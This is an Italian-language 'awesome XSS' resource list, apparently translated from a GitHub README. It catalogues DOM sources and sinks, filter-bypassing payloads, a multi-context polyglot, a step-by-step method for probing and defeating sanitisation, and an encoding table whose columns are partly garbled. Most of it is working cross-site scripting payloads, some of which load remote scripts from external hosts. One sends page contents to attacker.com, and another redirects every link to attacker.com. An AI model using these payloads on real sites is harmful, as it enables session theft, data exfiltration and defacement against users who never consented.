
Fantastici materiali XSS
Questo repository è una raccolta di risorse XSS fantastiche. I contributi sono benvenuti e devono essere inviati tramite un issue.
Una bellissima mappa mentale XSS di Jack Masa, qui
VulnerabileNon vulnerabileFonte: Un input che può essere controllato da una fonte esterna (non attendibile).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 o successivi solo)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: Un metodo potenzialmente pericoloso che potrebbe portare a una vulnerabilità. In questo caso un XSS basato su DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Questa lista completa di sink e fonti è presa da domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Ecco un polyglot XSS che ho creato e che può uscire da oltre 20 contesti:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Spiegazione di come funziona, qui
Alcuni gestori di eventi meno rilevati
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Alcuni tag HTML che userai
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Caso: <tag>Hai cercato $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Caso: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Caso: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Sì, confirm perché alert è troppo mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Se nulla di questo funziona, dai un'occhiata alla sezione Bypass fantastici
Prima di tutto, inserisci una stringa non dannosa come d3v e guarda il codice sorgente per farti un'idea sul numero e sui contesti delle riflessioni.
Ora per il contesto attributo, controlla se i doppi apici (") vengono filtrati inserendo x"d3v. Se viene modificato in x"d3v, è probabile che l'output venga correttamente escaped. Se ciò accade, prova a fare lo stesso per gli apici singoli (') inserendo x'd3v, se viene modificato in x', sei spacciato. L'unica cosa che puoi provare è la codifica.
Se le virgolette non vengono filtrate, puoi semplicemente provare i payload della sezione Rottura del contesto fantastica.
Per il contesto JavaScript, controlla quali virgolette vengono usate, ad esempio se fanno
variable = 'value' o variable = "value"
Ora diciamo che vengono usati gli apici singoli ('), in quel caso inserisci x'd3v. Se viene modificato in x\'d3v, prova a escludere il backslash () aggiungendo un backslash al tuo probe, cioè x\'d3v. Se funziona, usa il seguente payload:
\'-alert()//
Ma se viene modificato in x\\\'d3v, l'unica cosa che puoi provare è chiudere il tag script stesso usando
</script><svg onload=alert()>
Per un semplice contesto HTML, il probe è x<d3v. Se viene modificato in x>d3v, la sanificazione è in atto. Se viene riflesso così com'è, puoi inserire un tag fittizio per verificare potenziali filtri. Il tag fittizio che mi piace usare è x<xxx>. Se viene rimosso o alterato in qualsiasi modo, significa che il filtro cerca una coppia di < e >. Può essere facilmente bypassato usando
<svg onload=alert()//
o questo (non funzionerà in tutti i casi)
<svg onload=alert()
Se i tuoi tag fittizi arrivano nel codice sorgente così come sono, usa uno di questi payload
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Nota: Nessuno di questi payload usa apici singoli (') o doppi apici (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>clicca qui
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>clicca qui
<x ondrag=aconfirm()>trascinalo
</ScRipT>
</script
</script/>
</script x>
http(s):// può essere abbreviato in // o /\\ o \\.document.cookie può essere abbreviato in cookie. Si applica anche ad altri oggetti DOM.alert('XSS') e inizia a fare alert()// per chiudere un tag invece di >.confirm è la funzione pop-up meno rilevata, quindi smetti di usare alert.<script src=//14.rs> invece di Tutti i payload sono creati da me se non specificato diversamente.
| HTML | Carattere | Numerico | Descrizione | Hex | CSS (ISO) | JS (Ottale) | URL |
|---|
" | " | " | virgolette | u+0022 | \0022 | \42 | %22 |
# | # | # | simbolo cancelletto | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | simbolo del dollaro | u+0024 | \0024 | \44 | %24 |
% | % | % | simbolo percentuale | u+0025 | \0025 | \45 | %25 |
& | & | & | e commerciale | u+0026 | \0026 | \46 | %26 |
' | ' | ' | apostrofo | u+0027 | \0027 | \47 | %27 |
( | ( | ( | parentesi sinistra | u+0028 | \0028 | \50 | %28 |
) | ) | ) | parentesi destra | u+0029 | \0029 | \51 | %29 |
* | * | * | asterisco | u+002A | \002a | \52 | %2A |
+ | + | + | segno più | u+002B | \002b | \53 | %2B |
, | , | , | virgola | u+002C | \002c | \54 | %2C |
− | - | - | trattino-meno | u+002D | \002d | \55 | %2D |
. | . | . | punto fermo; punto | u+002E | \002e | \56 | %2E |
/ | / | / | barra | u+002F | \002f | \57 | %2F |
: | : | : | due punti | u+003A | \003a | \72 | %3A |
; | ; | ; | punto e virgola | u+003B | \003b | \73 | %3B |
< | < | < | minore di | u+003C | \003c | \74 | %3C |
= | = | = | uguale | u+003D | \003d | \75 | %3D |
> | > | > | segno maggiore di | u+003E | \003e | \76 | %3E |
? | ? | ? | punto interrogativo | u+003F | \003f | \77 | %3F |
@ | @ | @ | chiocciola; commerciale at | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | parentesi quadra sinistra | u+005B | \005b | \133 | %5B |
\ | \ | \ | barra rovesciata | u+005C | \005c | \134 | %5C |
] | ] | ] | parentesi quadra destra | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | accento circonflesso | u+005E | \005e | \136 | %5E |
_ | _ | _ | trattino basso | u+005F | \005f | \137 | %5F |
` | ` | ` | accento grave | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | parentesi graffa sinistra | u+007b | \007b | \173 | %7b |
| | | | | | barra verticale | u+007c | \007c | \174 | %7c |
} | } | } | parentesi graffa destra | u+007d | \007d | \175 | %7d |
<script src="//14.rs"><script src=//14.rs> (19 caratteri)